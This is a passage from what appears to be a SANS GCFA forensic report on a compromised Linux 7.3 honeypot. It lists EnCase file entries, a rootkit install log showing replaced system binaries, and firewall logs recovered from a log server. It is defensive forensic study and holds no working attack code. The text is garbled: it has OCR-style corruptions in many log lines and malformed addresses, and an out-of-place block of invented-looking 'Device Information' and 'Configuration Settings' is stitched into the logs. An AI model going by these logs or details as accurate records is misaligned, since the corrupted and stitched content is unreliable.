<td>290) Makefile</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\Makefile</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hash Value: e452f0b4db0676f4a2cd6e1a3abe570
Physical Size: 3,072
Logical Size: 2,147

291) Name: samba.tgz
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified: 06/29/03 03:41:42PM
Last Accessed: 06/29/03 03:41:56PM
Last Written: 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size: 13,312
Logical Size: 13,183

Log files

Log file information
292) Name: cron.1
Entry Modified: 06/29/03 04:02:05AM
Last Accessed: 06/29/03 04:02:00AM
Last Written: 06/29/03 04:02:04AM
Hash Value: f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name: access_log
Entry Modified: 06/29/03 03:36:49PM
Last Accessed: 06/30/03 04:02:03AM
Last Written: 06/29/03 03:36:49PM
Hash Value: e32d45931d3dd58258ce7bb86978cd02
Comment: httpd access log

Install log from /tmp/.s directory

294) Name: install.log
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value: 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps': No such file or directory
touch: getting attributes of `ls': No such file or directory
| -ps
|     PS --> failed
| -top
| TOP  --> OK
| --- pstree
| PSTREE --> failed
| ---- killall
| KILLALL --> OK
| ------ ls-dir-vdir
| LS DIR VDIR --> failed
| ------ find
| FIND ----> OK
| -------- du
| DU --> OK
| -------- netstat
| NETSTAT ---> OK
EnCase Computer Analysis Report

Var partition from Logserver

Device
Evidence Number: Var partition from logserver
File Path: C:/Sans/evidence files/Var partition from logserver.E01
Actual Date: 10/14/03 09:07:37PM
Target Date: 10/14/03 09:07:37PM
Total Size: 1,073,709,056 bytes (1,024.0MB)
Total Sectors: 2,097,088
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: CB51CFD7889DE261C0B94456C9D68819
Verify Hash: CB51CFD7889DE261C0B94456C9D68819

Logging events recovered from unallocated Clusters on /var partition of Logserver.

Logs before logging shutdown on Linux 7.3 system

295) Name: Unallocated Clusters
Entry Modified: Last Accessed: Last Written: Hash Value
Comment: Firewall Log from log Server - before logging shutdown

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)") rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 31 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sisl flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 msg="FILT ER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34990 dst=XXX.XXX.XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 37 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 38 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=4 msg="FILT ER: 39 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 40 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 41 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 42 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 43 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:51 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" prl=6 msg="FILT ER: 43 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 314

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 53 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35008 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 54 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 55 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 56 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35010 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 57 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35012 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35012 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 58 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35013 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35013 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35015 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 70 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 71 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35028 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 72 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35027 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 73 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35029 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 74 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35030 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 75 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35031 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 76 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35032 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 77 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35033 dstport=443 interface=isis1 flags=0x2
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT ER: 78 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=4 flt_type=RAP flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35033 dstport=443 interface=isis1 flags=0x2
<table>
<thead>
<tr>
<th>Time</th>
<th>Event ID</th>
<th>Event Type</th>
<th>Source IP</th>
<th>Source Port</th>
<th>Destination IP</th>
<th>Destination Port</th>
<th>Action</th>
<th>Match Count</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35047</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>95</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35048</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>94</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35049</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>93</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35050</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>92</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35051</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>91</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35052</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>90</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35053</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>89</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35054</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>88</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
<tr>
<td>2003-06-29</td>
<td>GNAT-Box-64</td>
<td>PASS</td>
<td>XXX.XXX.108.64</td>
<td>35055</td>
<td>XXX.XXX.5.35</td>
<td>443</td>
<td>PASS</td>
<td>87</td>
<td>Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt</td>
</tr>
</tbody>
</table>

**Updated Content:**
- Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

**Device Information:**
- Model: GNAT-Box
- Firmware Version: 6.4

**Configuration Settings:**
- Port Range: 35047-35055
- Protocol: TCP
- Interface: sis1
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35051 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 6 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35052 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 97 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35054 dst=XXX.XXs5.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 96 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35055 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 95 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35056 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 94 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35057 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 93 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35058 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 92 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35059 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 91 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35060 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pr=6 msg="FILT ER: 90 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35061 dst=XXX.XXX.5.35 dsport=443 interface=sis1 flags=0x2
Jun 29 15:05:08 192.168.1.1 id=firewall time="2003-06-29 15:05:08" fw="GNAT-Box" pr=6 msg="FILT ER: 3 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:05:08 192.168.1.1 id=firewall time="2003-06-29 15:05:08" fw="GNAT-Box" pr=6 msg="FILT ER: 2 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:05:08 192.168.1.1 id=firewall time="2003-06-29 15:05:08" fw="GNAT-Box" pr=6 msg="FILT ER: 1 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:08:29 192.168.2.15 su(pam_unix)[19508]: session opened for user root by (uid=0)
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pr=6 msg="FILT ER: 5 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pr=6 msg="FILT ER: 4 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pr=6 msg="FILT ER: 3 matches for 24: Deny warning ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pr=6 msg="FILT ER: 2 matches for 24: Deny warning ANY_IP to ANY_IP" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1031 dst=142.165.5.2 dsport=53 interface=sis1
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 24: Deny warning ANY ALL alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=4 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
